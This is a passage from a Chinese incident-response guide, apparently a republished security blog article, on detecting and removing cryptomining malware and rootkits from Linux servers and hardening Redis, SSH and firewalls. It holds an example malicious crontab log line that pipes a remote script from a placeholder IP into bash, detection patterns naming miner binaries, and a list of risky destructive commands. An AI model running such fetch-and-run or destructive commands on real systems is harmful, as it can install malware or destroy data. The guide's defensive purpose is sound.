风险提醒:删除前必须把已知运维公钥备份到 /tmp/known_keys.txt,避免误删。

步骤 8:清理 ld.so.preload

命令:

bash

cp&nbsp;/etc/ld.so.preload /tmp/incident/ld.so.preload.bak 2>/dev/null
echo&nbsp;-n&nbsp;""&nbsp;> /etc/ld.so.preload
ldconfig

判断逻辑:ld.so.preload 被清空后,/usr/local/lib/libprocesshider.so 不再被加载,lsps 重新可见被隐藏的文件和进程。

风险提醒:ld.so.preload 是所有进程启动时最先加载的,清空它不会影响正在运行的进程,但新启动的进程会重新可见。

步骤 9:清理 SUID 后门

命令:

bash

chmod&nbsp;u-s /usr/bin/find &nbsp;# 取消 SUID 位(仅当该文件非系统原始 SUID)
mv&nbsp;/usr/bin/.find /tmp/incident/.find.bak &nbsp;# 删除非常规路径的可执行

风险提醒:必须确认 /usr/bin/find 是否本来就是 SUID。CentOS 默认 /usr/bin/find 是 SUID;Ubuntu 默认不是。判断方法是查看包管理数据库。

5.10 漏洞修复

步骤 1:Redis 加固

命令:

bash

cp&nbsp;/etc/redis/redis.conf /etc/incident/redis.conf.bak

vim /etc/redis/redis.conf

修改:

bind 127.0.0.1
protected-mode yes
port 6379
requirepass <强密码>
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command KEYS ""
rename-command EVAL ""

生效:

bash

systemctl reload redis
redis-cli -a <强密码> ping

风险提醒:修改后必须用新密码验证 Redis 可用。rename-command 把命令清空后再调用会返回 unknown command

步骤 2:SSH 加固

修改 /etc/ssh/sshd_config

PasswordAuthentication no
PermitRootLogin prohibit-password
AllowGroups sshusers
Port 2222
MaxAuthTries 3

生效:

bash

sshd -t
systemctl reload sshd

风险提醒:必须先确认运维账户在 AllowGroups 列表中。先在测试环境验证,再推到生产。

步骤 3:防火墙加固

命令:

bash

iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -s <运维IP段> -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -s <负载均衡IP> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -s <负载均衡IP> -j ACCEPT
iptables -A INPUT -m state --state NEW -j DROP

持久化(CentOS 7):

bash

service iptables save
systemctl&nbsp;enable&nbsp;iptables

持久化(Ubuntu):

bash

apt install iptables-persistent
netfilter-persistent save

步骤 4:Web 框架升级

参考对应框架官方文档:

  • ThinkPHP:升级到最新 LTS 版本,移除不安全的控制器路由。
  • Confluence:升级到最新稳定版。
  • WebLogic:升级到最新 PSU。

风险提醒:升级前先备份数据库、配置文件。

5.11 重启验证

步骤 1:重启主机

命令:

bash

reboot

风险提醒:重启前确认所有清理动作已完成,重启后无法直接观察断网前进程(如果重启前还没断网,进程状态会丢失)。

步骤 2:验证进程

bash

top -c
ps auxf
ls&nbsp;/tmp /var/tmp /dev/shm
ls&nbsp;-la /etc/ld.so.preload
cat&nbsp;/etc/crontab
crontab -l
systemctl list-unit-files --state=enabled

判断逻辑:

  • top

    中没有可疑进程。

  • /tmp/.x

    /tmp/kdevtmpfsi 等不存在。

  • /etc/ld.so.preload

    为空。

  • crontab 为空或仅含已知业务。

  • systemd 中没有陌生 service。

步骤 3:验证网络

bash

ss -antp | grep ESTABLISHED
ss -lntp

判断逻辑:没有连接到矿池 IP 的连接。

六、常用命令

6.1 进程类

bash

top -c
top -b -n 1 -o %CPU |&nbsp;head&nbsp;-30
ps auxf
pstree -ap
ps -eo pid,ppid,user,stat,start,etime,cmd
pgrep -af&nbsp;"kdevtmpfsi|xmrig|kinsing"
pkill -f&nbsp;"kdevtmpfsi|xmrig|kinsing"

6.2 进程详情

bash

PID=<1234>
ls&nbsp;-la /proc/$PID/exe
ls&nbsp;-la /proc/$PID/cwd
ls&nbsp;-la /proc/$PID/root
cat&nbsp;/proc/$PID/status
cat&nbsp;/proc/$PID/cmdline |&nbsp;tr&nbsp;'\0'&nbsp;' '
cat&nbsp;/proc/$PID/environ |&nbsp;tr&nbsp;'\0'&nbsp;'\n'
cat&nbsp;/proc/$PID/maps
ls&nbsp;-la /proc/$PID/fd/
cat&nbsp;/proc/$PID/wchan
cat&nbsp;/proc/$PID/stack

6.3 网络类

bash

ss -lntp
ss -antp
netstat -lntp 2>/dev/null
netstat -antp 2>/dev/null
lsof -nP -iTCP -sTCP:LISTEN
lsof -nP -iTCP -sTCP:ESTABLISHED
lsof -i
tcpdump -i eth0 -nn -s 0 -w /tmp/incident/capture.pcap
tcpdump -i eth0 -nn -s 0 port 3333 or port 4444

6.4 文件类

bash

find / -mtime -7 -type&nbsp;f 2>/dev/null
find /tmp /var/tmp /dev/shm -type&nbsp;f 2>/dev/null
find / -perm -4000 -type&nbsp;f 2>/dev/null
find / -perm -2000 -type&nbsp;f 2>/dev/null
find / -nouser -o -nogroup 2>/dev/null
find / -mtime -3 -size +1M -type&nbsp;f 2>/dev/null
find /etc/systemd /lib/systemd /usr/lib/systemd -mtime -7
md5sum&nbsp;$(which&nbsp;ps netstat ss top lsof find)
sha256sum&nbsp;/tmp/.x

6.5 安全工具

bash

chkrootkit -q
rkhunter --check --sk
unhide proc
unhide sys
unhide brute
clamscan -r /tmp /var/tmp /root /home
lynis audit system

6.6 内核

bash

lsmod
cat&nbsp;/proc/modules
modinfo <module_name>
find /lib/modules/$(uname&nbsp;-r) -mtime -30
cat&nbsp;/proc/kallsyms | grep -E&nbsp;"(hook|call|cr0)"

6.7 应急命令

bash

# 断网
iptables -I OUTPUT -m state --state NEW -j DROP
iptables -I OUTPUT -p tcp --dport 3333 -j DROP
iptables -I OUTPUT -p tcp --dport 4444 -j DROP
iptables -I OUTPUT -d <矿池IP> -j DROP

# 杀进程(先 STOP 后 KILL)
kill&nbsp;-STOP <PID>
kill&nbsp;-CONT <PID>
kill&nbsp;<PID>
kill&nbsp;-9 <PID>

# 清理 crontab
crontab -l > /tmp/incident/crontab.bak
crontab -r

# 清理 systemd
systemctl stop <miner.service>
systemctl&nbsp;disable&nbsp;<miner.service>
mv&nbsp;/etc/systemd/system/<miner.service> /tmp/incident/
systemctl daemon-reload

七、配置示例

7.1 Redis 加固配置

文件路径:/etc/redis/redis.conf

# 网络
bind 127.0.0.1 ::1
protected-mode yes
port 6379
tcp-backlog 511
timeout 300
tcp-keepalive 60

# 认证
requirepass <强密码,建议 32 位以上随机字符>

# 通用
daemonize yes
supervised systemd
pidfile /var/run/redis/redis-server.pid
loglevel notice
logfile /var/log/redis/redis-server.log
databases 16
always-show-logo no

# 持久化
save 900 1
save 300 10
save 60 10000
stop-writes-on-bgsave-error yes
rdbcompression yes
rdbchecksum yes
dbfilename dump.rdb
dir /var/lib/redis

# 内存
maxmemory 4gb
maxmemory-policy allkeys-lru

# 慢查询
slowlog-log-slower-than 10000
slowlog-max-len 128

# 安全
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG "CONFIG_<随机字符串>"
rename-command KEYS ""
rename-command DEBUG ""
rename-command SHUTDOWN "SHUTDOWN_<随机字符串>"

风险提醒:使用 rename-command 后必须记下原命令对应的新名字。忘记的话只能重启 Redis 并改回。

生效:

bash

systemctl reload redis-server
redis-cli -a <强密码> ping

7.2 SSH 加固配置

文件路径:/etc/ssh/sshd_config

# 网络
Port 2222
AddressFamily inet
ListenAddress 0.0.0.0
ListenAddress ::

# 认证
PermitRootLogin prohibit-password
PubkeyAuthentication yes
PasswordAuthentication no
ChallengeResponseAuthentication no
KbdInteractiveAuthentication no
PermitEmptyPasswords no

# 限制
MaxAuthTries 3
MaxSessions 5
LoginGraceTime 30
ClientAliveInterval 300
ClientAliveCountMax 2

# 转发
AllowAgentForwarding no
AllowTcpForwarding no
X11Forwarding no
PermitUserEnvironment no
GatewayPorts no

# 协议
Protocol 2

# 白名单
AllowGroups sshusers wheel

# 日志
SyslogFacility AUTH
LogLevel VERBOSE

风险提醒:Port 2222 改之前必须确认防火墙已放行。

生效:

bash

sshd -t
systemctl reload sshd

7.3 防火墙规则模板

文件路径:/etc/iptables/rules.v4(Debian)或 /etc/sysconfig/iptables(CentOS)。

Debian/Ubuntu:

*filter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]

# 已建立的连接放行
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -i lo -j ACCEPT

# SSH
-A INPUT -p tcp --dport 2222 -m state --state NEW -s 10.0.0.0/8 -j ACCEPT
-A INPUT -p tcp --dport 2222 -m state --state NEW -s 172.16.0.0/12 -j ACCEPT
-A INPUT -p tcp --dport 2222 -m state --state NEW -s 192.168.0.0/16 -j ACCEPT

# HTTP/HTTPS
-A INPUT -p tcp --dport 80 -m state --state NEW -s <负载均衡IP> -j ACCEPT
-A INPUT -p tcp --dport 443 -m state --state NEW -s <负载均衡IP> -j ACCEPT

# 应用端口
-A INPUT -p tcp --dport 8080 -m state --state NEW -s 10.0.0.0/8 -j ACCEPT

# ICMP
-A INPUT -p icmp -m limit --limit 5/sec -j ACCEPT

COMMIT

生效:

bash

netfilter-persistent reload

CentOS:

bash

iptables-restore < /etc/sysconfig/iptables
systemctl reload iptables

7.4 auditd 规则

文件路径:/etc/audit/rules.d/incident.rules

# 监控关键文件
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/group -p wa -k identity
-w /etc/gshadow -p wa -k identity
-w /etc/sudoers -p wa -k sudoers
-w /etc/sudoers.d/ -p wa -k sudoers
-w /etc/ssh/sshd_config -p wa -k sshd
-w /etc/ssh/ssh_host_ed25519_key -p wa -k sshd
-w /etc/ssh/ssh_host_rsa_key -p wa -k sshd

# 监控持久化
-w /etc/crontab -p wa -k crontab
-w /etc/cron.d/ -p wa -k crontab
-w /etc/cron.daily/ -p wa -k crontab
-w /etc/cron.hourly/ -p wa -k crontab
-w /etc/cron.weekly/ -p wa -k crontab
-w /etc/cron.monthly/ -p wa -k crontab
-w /var/spool/cron/ -p wa -k crontab
-w /etc/systemd/system/ -p wa -k systemd
-w /lib/systemd/system/ -p wa -k systemd

# 监控二进制变更
-w /usr/bin -p wa -k usr_bin
-w /usr/sbin -p wa -k usr_bin
-w /bin -p wa -k bin
-w /sbin -p wa -k sbin

# 监控 SSH 密钥
-w /root/.ssh -p wa -k ssh_keys
-w /home -p wa -k home_change

# 监控 ld.so.preload
-w /etc/ld.so.preload -p wa -k ld_preload

# 系统调用
-a always,exit -F arch=b64 -S execve -F euid=0 -k root_exec
-a always,exit -F arch=b64 -S execve -F euid=33 -k www_user_exec
-a always,exit -F arch=b64 -S setuid -k setuid_call
-a always,exit -F arch=b64 -S setgid -k setgid_call
-a always,exit -F arch=b64 -S chmod -F auid>=1000 -k user_chmod
-a always,exit -F arch=b64 -S mount -k mount_call

生效:

bash

systemctl restart auditd

风险提醒:审计规则过多会导致性能下降。建议只监控关键文件和关键系统调用。

查询:

bash

ausearch -k root_exec |&nbsp;head&nbsp;-50
ausearch -k crontab |&nbsp;head&nbsp;-50
ausearch -k ssh_keys |&nbsp;head&nbsp;-50
aureport --summary

7.5 fail2ban 配置

文件路径:/etc/fail2ban/jail.local

[DEFAULT]
bantime = 3600
findtime = 600
maxretry = 5
banaction = iptables-multiport
banaction_allports = iptables-allports

[sshd]
enabled = true
port = 2222
filter = sshd
logpath = /var/log/secure
maxretry = 3

[recidive]
enabled = true
logpath = /var/log/fail2ban.log
bantime = 86400
findtime = 86400
maxretry = 5

生效:

bash

systemctl restart fail2ban
fail2ban-client status
fail2ban-client status sshd

7.6 主机监控告警(Zabbix)

关键监控项:

  • CPU 使用率:5 分钟平均、单核最高。

  • 进程数。

  • 登录失败次数(来自 auth.log/secure 解析)。

  • 计划任务变更(来自 auditd 解析)。

  • crontab 列表长度。

  • /etc/passwd

    文件 hash 值变化。

  • 出方向流量 TOP 10。

Prometheus 指标:

promql

# node_exporter
node_cpu_seconds_total{mode!="idle"}
node_load15
node_filefd_allocated
node_network_transmit_bytes_total

# 自定义 exporter
miner_pool_connections_total
miner_cpu_usage_ratio
incident_crontab_changes_total

八、日志或指标观察方法

8.1 系统日志

文件路径:

  • /var/log/secure

    (CentOS/RHEL):SSH 登录、sudo、用户切换。

  • /var/log/auth.log

    (Ubuntu/Debian):同上。

  • /var/log/messages

    (CentOS/RHEL):系统消息。

  • /var/log/syslog

    (Ubuntu/Debian):系统消息。

  • /var/log/kern.log

    :内核日志,可看内核模块加载。

  • /var/log/cron

    :crontab 执行日志。

  • /var/log/audit/audit.log

    :auditd 审计日志。

  • /var/log/fail2ban.log

    :fail2ban 封禁日志。

关键日志模式:

# SSH 异地登录
Jun 25 03:00:00 web-01 sshd[12345]: Accepted publickey for root from 198.51.100.10 port 43210 ssh2: ED25519 SHA256:abc...

# SSH 失败登录
Jun 25 03:01:00 web-01 sshd[12346]: Failed password for root from 198.51.100.10 port 43211 ssh2

# crontab 执行
Jun 25 03:02:00 web-01 CROND[12347]: (root) CMD (curl http://203.0.113.5/x.sh | bash)

# sudo 命令
Jun 25 03:03:00 web-01 sudo: www-data : TTY=pts/0 ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/bash

# 内核模块加载
Jun 25 03:04:00 web-01 kernel: [12345.678] module loaded: diamorphine

8.2 应用日志

  • Nginx

    /var/log/nginx/access.log/var/log/nginx/error.log

  • Redis

    /var/log/redis/redis-server.log

  • MySQL

    /var/log/mysqld.log/var/log/mysql/error.log

  • PHP-FPM

    /var/log/php-fpm/error.log/var/log/php8.2-fpm.log

8.3 云监控

  • 阿里云云监控:CPU、网络、安全告警。
  • 腾讯云云监控:同上。
  • 华为云云监控:同上。

关键告警配置:

  • 主机 CPU 持续 > 80%。
  • 出方向流量 > 基线 80%。
  • 异常外联 IP 告警。
  • 异常登录告警。
  • 主机安全风险告警(云厂商态势感知/安全中心)。

8.4 监控指标

promql

# CPU 占用
node_cpu_seconds_total{mode="user"}
node_cpu_seconds_total{mode="system"}
rate(node_cpu_seconds_total{mode!="idle"}[5m])

# 进程数
node_processes_state{state="running"}
node_processes_state{state="blocked"}

# 网络出方向
rate(node_network_transmit_bytes_total{device="eth0"}[5m])

# 进程资源
process_cpu_seconds_total
process_resident_memory_bytes
process_open_fds
process_start_time_seconds

# 文件描述符
node_filefd_allocated
node_filefd_maximum

告警阈值建议(以业务基线为准):

  • CPU 持续 5 分钟 > 80%。

  • 进程数持续 5 分钟 > 500。

  • 出方向流量持续 5 分钟 > 100 Mbps(视业务而定)。

  • 单进程 CPU > 50% 持续 10 分钟。

  • /etc/passwd

    hash 变化。

九、排查路径

9.1 完整排查流程

  1. 接到告警

    :Zabbix / 云监控告警 CPU 高。

  2. 初步判断

    :登录机器,top -c 看进程。

  3. 保留现场

    :快照、ps auxf > /tmp/incident/ps.txtss -antp > /tmp/incident/ss.txt

  4. 进程排查

    :定位可疑进程,记录 PID、命令行、父进程、exe 路径。

  5. 网络排查

    :定位矿池 IP、端口。

  6. 文件排查

    :定位挖矿二进制位置。

  7. 持久化排查

    :crontab、systemd、init.d、bashrc、SSH 公钥。

  8. 账户排查

    :UID 0、可登录账户、空密码账户。

  9. 内核模块排查

    lsmod、模块 mtime。

  10. 隐藏进程排查

    unhidechkrootkitrkhunter

  11. 断网

    :封矿池端口或矿池 IP。

  12. 清理

    :杀进程、删文件、清持久化、修复漏洞。

  13. 重启验证

    :reboot 后看是否复活。

  14. 长跑观察

    :观察 72 小时。

  15. 复盘文档

    :时间线、入口、利用方式、修复、验证。

9.2 关键判断逻辑

判断是否挖矿木马

依据:

  • 进程命令行含 stratumpool.moneroxmrwallet

  • /proc/<pid>/exe

    指向 /tmp/var/tmp/dev/shm

  • 进程占 CPU 接近或超过 100%。

  • 连接境外 IP、可疑端口。

  • 矿池域名在 /etc/hosts 被劫持。

判断是否为 rootkit

依据:

  • unhide

    比 ps 多发现进程。

  • chkrootkit

    报告 INFECTED。

  • /etc/ld.so.preload

    存在且指向可疑 .so

  • lsmod

    出现不认识的内核模块。

  • 系统命令 md5sum 与包管理库不匹配。

判断入口

依据:

  • auth.log

    /secure 中 SSH 异地登录记录。

  • Redis 6379 公网暴露 + 弱口令 + MONITOR 模式被滥用。

  • Web 框架 CVE 对应漏洞被利用。

  • Docker API 2375 端口公网暴露。

十、风险提醒

10.1 高风险命令

  • kill -9 <挖矿PID>

    :可能导致配置未持久化,下次启动又起来。先 kill 再删文件。

  • rm -rf /tmp/*

    :可能误删业务临时文件。先 mv 到取证目录再处理。

  • crontab -r

    :会清空当前用户的 crontab,必须先备份。

  • systemctl stop crond

    :会停止所有 cron 调度,影响业务备份。

  • usermod -L root

    :会锁定 root 账户,影响登录。

  • chattr +i /etc/passwd

    :会让文件不可修改,排查完后忘记解锁会导致账户无法变更。

  • iptables -F

    :清空所有规则,可能导致 SSH 断开。

  • echo > /etc/ld.so.preload

    :可能在某些 rootkit 中会触发自删除逻辑。

  • 直接 reboot:如果还没做现场保留,会丢失内存中的进程信息。

10.2 配置修改风险

  • 修改 Redis bindrequirepass 后必须 reload 并验证。
  • 修改 sshd_config 后必须 sshd -t 测语法再 reload。
  • 修改 sudoers 必须用 visudo,避免语法错误。
  • 修改 iptables 必须保留 SSH 入方向规则。

10.3 升级风险

  • Redis 大版本升级(如 5.0 → 7.0)可能改变 rename-command 行为。
  • SSH 改端口会影响自动化脚本。
  • auditd 大量规则会导致性能下降。

10.4 凭据安全

  • 排查脚本中不要写明文密码。
  • 自动化脚本调用 Redis、SSH 时使用密钥认证 + ACL。
  • 备份文件存放在权限受控的目录(chmod 700chown root:root)。

10.5 数据风险

  • 清理过程中可能影响业务。必须在业务低峰期操作。
  • 数据库密码泄露需要立即修改。
  • SSH 密钥泄露需要立即撤销。
  • Redis 已被入侵需要视为完全失陷,重新生成实例比清理更稳。

十一、验证方式

11.1 进程验证

bash

top -c
ps auxf | grep -E&nbsp;"(kdevtmpfsi|xmrig|kinsing|dwx|crypt|donate|redtail|.x)"
pstree -ap | grep -E&nbsp;"(kdevtmpfsi|xmrig|kinsing)"

预期:无任何挖矿相关进程。

11.2 网络验证

bash

ss -antp | grep -E&nbsp;"(3333|4444|5555|7777|14444|14433)"
ss -lntp
netstat -antp 2>/dev/null

预期:矿池端口无 ESTABLISHED 连接,无可疑监听。

11.3 文件验证

bash

ls&nbsp;/tmp /var/tmp /dev/shm
find / -name&nbsp;"kdevtmpfsi"&nbsp;-o -name&nbsp;"xmrig*"&nbsp;-o -name&nbsp;"kinsing*"&nbsp;2>/dev/null
cat&nbsp;/etc/ld.so.preload 2>/dev/null
ls&nbsp;-la /usr/local/lib/ 2>/dev/null

预期:无挖矿相关文件,/etc/ld.so.preload 为空。

11.4 持久化验证

bash

for&nbsp;user&nbsp;in&nbsp;$(cut&nbsp;-d: -f1 /etc/passwd);&nbsp;do
&nbsp; &nbsp; crontab -u&nbsp;"$user"&nbsp;-l 2>/dev/null
done
cat&nbsp;/etc/crontab
ls&nbsp;/etc/cron.d/
systemctl list-unit-files --state=enabled
cat&nbsp;/root/.ssh/authorized_keys
cat&nbsp;/home/*/.ssh/authorized_keys
cat&nbsp;/root/.bashrc
ls&nbsp;/etc/profile.d/

预期:crontab、systemd、SSH 公钥、bashrc 都是已知的,没有陌生项。

11.5 账户验证

bash

awk -F:&nbsp;'$3==0 {print}'&nbsp;/etc/passwd
grep -vE&nbsp;"(nologin|false)"&nbsp;/etc/passwd
awk -F:&nbsp;'length($2)<10 {print}'&nbsp;/etc/shadow

预期:仅 root 是 UID 0;可登录账户仅运维账户;无空密码账户。

11.6 重启验证

bash

reboot

重启后重新执行 11.1 – 11.5 所有检查。

11.7 长跑观察

观察 72 小时:

  • top

    中无挖矿进程。

  • ss -antp

    中无矿池连接。

  • crontab -l

    持续为空。

  • auditd

    报告无新可疑事件。

  • Zabbix 告警持续消失。

十二、回滚方案

12.1 配置文件回滚

bash

cp&nbsp;/etc/incident/redis.conf.bak /etc/redis/redis.conf
systemctl reload redis

cp&nbsp;/etc/incident/sshd_config.bak /etc/ssh/sshd_config
sshd -t
systemctl reload sshd

cp&nbsp;/etc/incident/iptables.bak /etc/sysconfig/iptables
systemctl reload iptables

12.2 crontab 回滚

bash

crontab /tmp/incident/crontab_root.bak
crontab -u mysql /tmp/incident/crontab_mysql.bak

12.3 systemd unit 回滚

bash

cp&nbsp;/tmp/incident/<miner.service> /etc/systemd/system/
systemctl daemon-reload
systemctl&nbsp;enable&nbsp;<miner.service>
systemctl start <miner.service>

注意:只有确认 miner.service 真的是业务服务时才能回滚。如果不确定,宁可重新写。

12.4 SSH 公钥回滚

bash

cp&nbsp;/tmp/incident/authorized_keys_root.bak /root/.ssh/authorized_keys
chmod&nbsp;600 /root/.ssh/authorized_keys
chown&nbsp;root:root /root/.ssh/authorized_keys

12.5 bashrc / profile 回滚

bash

cp&nbsp;/tmp/incident/bashrc_root.bak /root/.bashrc
cp&nbsp;/tmp/incident/profile.bak /etc/profile
# profile.d/*.sh 不批量回滚,按文件逐个确认

12.6 系统镜像回滚

云主机直接用云厂商控制台回滚到快照:

bash

# 通过云厂商 API 回滚
# 或通过控制台操作

物理机使用 LVM/ZFS 快照回滚:

bash

lvconvert --merge /dev/vg0/root_snap
zfs rollback tank/root@snapshot_$(date&nbsp;+%Y%m%d%H%M%S)

12.7 进程回滚(不建议)

挖矿木马不是业务进程,不应该回滚。如果因为误杀导致业务异常,从可信源重新部署。

十三、生产环境注意事项

13.1 应急窗口

挖矿木马应急响应必须在发现后立即开始,但执行清理动作时需要选择业务低峰窗口。建议流程:

  1. T+0

    :收到告警,登录机器初步判断。

  2. T+15 分钟

    :保留现场,断网,封矿池 IP。

  3. T+1 小时

    :完成排查,写出失陷评估。

  4. T+4 小时

    :完成清理,准备验证。

  5. T+8 小时

    :重启验证。

  6. T+72 小时

    :长跑观察。

  7. T+1 周

    :复盘文档、改进监控。

13.2 灰度策略

  • 不在所有主机上同时执行相同的清理动作。先在一台机器上验证完整流程。
  • Redis、SSH 等关键配置修改必须先灰度 1 台,再批量。
  • 防火墙规则修改必须先在测试环境验证。

13.3 双份配置备份

每次修改配置前必须做双份备份:

bash

mkdir&nbsp;-p /etc/incident/$(date&nbsp;+%Y%m%d)
cp&nbsp;/etc/redis/redis.conf /etc/incident/$(date&nbsp;+%Y%m%d)/redis.conf.bak
cp&nbsp;/etc/ssh/sshd_config /etc/incident/$(date&nbsp;+%Y%m%d)/sshd_config.bak

强烈建议把 /etc/incident 目录用 git 管理。

13.4 监控告警双通道

  • Zabbix/Prometheus + Alertmanager。
  • 云厂商云监控。
  • 企业微信/钉钉/Slack。

任何一条中断都不能影响整体告警能力。

13.5 凭据管理

  • SSH 改密钥认证,禁止密码登录。
  • 数据库密码、Redis 密码放 Vault / KMS。
  • sudoers 中只允许特定命令 NOPASSWD。
  • 应急响应文档中不要写明文密码,使用环境变量引用。

13.6 应急联络

  • 关键运维负责人电话、邮箱、企业微信应在所有告警通道中可见。
  • 应急响应预案文档应放在所有运维都能访问的位置。
  • 跨部门(业务、安全、运维)联动机制要事先约定。

13.7 演练

每季度做一次挖矿木马应急演练:

  • 蓝队:从告警发现 → 隔离 → 排查 → 修复 → 复盘全程演练。
  • 红队:在隔离环境模拟挖矿木马投放,验证告警是否生效。
  • 演练结果写入运维月报,公开复盘。

13.8 备份恢复

应急响应前必须确认备份可用:

  • 数据库备份:mysqldump / xtrabackup / pg_dump 最近 7 天。
  • 文件备份:站点目录最近 7 天。
  • 配置备份:Ansible/Chef/Salt 仓库最近 7 天。

13.9 沟通

应急过程中必须保持沟通:

  • 每完成一个里程碑(保留现场、断网、清理完成、重启验证、长跑完成)都通知业务方。
  • 重大决策(断网、隔离、重装系统)必须先获得业务方授权。
  • 复盘文档完成后分享给团队,避免重复踩坑。

十四、总结

挖矿木马清理的本质是”找到所有失陷点”+“彻底清理”+“修复入口”+”长期验证”四件事。每件事都不复杂,但合在一起就是一项系统工程。

14.1 检测能力

把六维度的检测能力建齐:

  • CPU

    :单核 vs 多核、长跑 vs 短跑。

  • 进程

    :进程命令行、父子关系、可执行文件路径、属主、运行时间。

  • 网络

    :监听端口、ESTABLISHED 连接、DNS 查询、出方向流量。

  • 文件

    :可疑路径的可执行文件、/etc/ld.so.preload、被替换的系统命令。

  • 登录

    :SSH 异地登录、sudo 异常命令、暴力破解。

  • 计划任务

    :crontab、systemd、init.d、rc.local、bashrc、profile。

14.2 清理能力

清理必须覆盖:

  • 进程(先断网后杀进程)。
  • 文件(备份后删除)。
  • 持久化(crontab、systemd、init.d、bashrc、SSH 公钥、SUID、ld.so.preload)。
  • 自恢复(watchdog、互拉 unit、iptables 劫持、hosts 劫持、命令替换)。
  • 漏洞(Redis、SSH、Web 框架、容器、K8s)。

14.3 加固能力

加固覆盖:

  • 密码(强密码、定期更换、不在脚本中明文)。
  • 暴露面(最小端口、bind 内网、安全组、白名单)。
  • 补丁(及时升级、CVE 跟踪)。
  • 权限(最小权限、sudoers 白名单、SUID 审计)。
  • 监控(多维度、基线告警、双通道)。

14.4 复盘能力

每次事件都要形成产出:

  1. 时间线

    :什么时候出现第一次异常,每个里程碑的时间点。

  2. 入口

    :通过什么漏洞/弱口令/暴露面进入。

  3. 利用方式

    :怎么拿到最初的执行权限,怎么提权,怎么持久化。

  4. 检测

    :哪些告警触发、哪些告警没触发。

  5. 清理

    :所有清理动作清单、命令、时间点。

  6. 验证

    :怎么确认清理有效,怎么确认不复活。

  7. 复盘

    :哪里需要补齐监控、哪里需要补齐流程、哪里需要补齐培训。

把这一套形成模板,每次应急响应都按模板走,整个团队的挖矿木马响应能力就会逐渐变成肌肉记忆。

最后再强调一次:挖矿木马不难清理,难的是把所有失陷点一次性找全。建议每次应急都按照本文的清单逐项对照,不要凭经验跳步骤。漏掉一个 cron、漏掉一个 systemd、漏掉一个 ld.so.preload,挖矿木马都会复活。

今日福利

为了帮助大家入门网安,给大家推荐一份《新手Web安全入门到精通》,共474页,包括代码审计、web漏洞、靶场实例分析、信息收集、渗透思路等,将Web安全攻防知识点一网打尽。

代码配图,简单明了,攻防思路清晰透彻,关键是里面还配有多张思维导图,通俗易懂,实用性非常强,很适合新手学习参考~

以上资料获取请扫码

识别上方二维码

备注:web安全入门到精通

100%免费领取

(是扫码领取,不是在公众号后台回复,别看错了哦)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:马哥网络安全 点击关注 👉 点击关注 👉《服务器被挖矿了?教你一步步彻底清理木马》

    评论:0   参与:  0